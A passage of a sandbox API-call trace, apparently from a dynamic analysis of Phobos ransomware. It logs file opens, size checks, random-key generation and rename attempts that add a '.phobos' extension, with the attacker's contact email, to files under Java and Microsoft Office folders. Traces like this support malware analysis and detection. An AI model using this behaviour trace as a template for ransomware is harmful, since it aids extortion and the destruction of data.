Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0 [0125.438] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.439] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.439] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=2285736) returned 1 [0125.439] CloseHandle (hObject=0x594) returned 1 [0125.439] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll")) returned 0x420 [0125.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.440] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll")) returned 0 [0125.440] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.440] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.440] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=431664) returned 1 [0125.440] CloseHandle (hObject=0x594) returned 1 [0125.440] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 0x220 [0125.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.441] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.441] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=820416) returned 1 [0125.441] CloseHandle (hObject=0x594) returned 1 [0125.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll")) returned 0x420 [0125.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.441] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.441] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=1208928) returned 1 [0125.441] CloseHandle (hObject=0x594) returned 1 [0125.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll")) returned 0x420 [0125.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.442] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.442] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=332968) returned 1 [0125.442] CloseHandle (hObject=0x594) returned 1 [0125.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll")) returned 0x220 [0125.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.442] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.442] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.443] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=5653664) returned 1 [0125.443] CloseHandle (hObject=0x594) returned 1 [0125.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll")) returned 0x220 [0125.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0125.443] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll")) returned 0 [0125.443] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.444] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=660136) returned 1 [0125.444] CloseHandle (hObject=0x594) returned 1 [0125.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll")) returned 0x220 [0125.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.444] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.445] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=635040) returned 1 [0125.445] CloseHandle (hObject=0x594) returned 1 [0125.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll")) returned 0x220 [0125.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.445] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.445] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.446] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=963240) returned 1 [0125.446] CloseHandle (hObject=0x594) returned 1 [0125.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll")) returned 0x220 [0125.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.446] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.446] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=982720) returned 1 [0125.446] CloseHandle (hObject=0x594) returned 1 [0125.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll")) returned 0x220 [0125.446] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.447] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.447] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=390320) returned 1 [0125.447] CloseHandle (hObject=0x594) returned 1 [0125.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll")) returned 0x220 [0125.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.447] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.447] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.448] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=88752) returned 1 [0125.448] CloseHandle (hObject=0x594) returned 1 [0125.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll")) returned 0x220 [0125.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.448] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.450] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=7384) returned 1 [0125.450] CloseHandle (hObject=0x594) returned 1 [0125.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid")) returned 0x220 [0125.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.451] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.451] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=9322) returned 1 [0125.451] CloseHandle (hObject=0x594) returned 1 [0125.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid")) returned 0x220 [0125.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.451] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.451] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=6970) returned 1 [0125.451] CloseHandle (hObject=0x594) returned 1 [0125.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x220 [0125.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.452] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.453] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=6165) returned 1 [0125.453] CloseHandle (hObject=0x594) returned 1 [0125.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220 [0125.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.453] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0125.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.454] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=10562) returned 1 [0125.454] CloseHandle (hObject=0x594) returned 1 [0125.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0125.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program 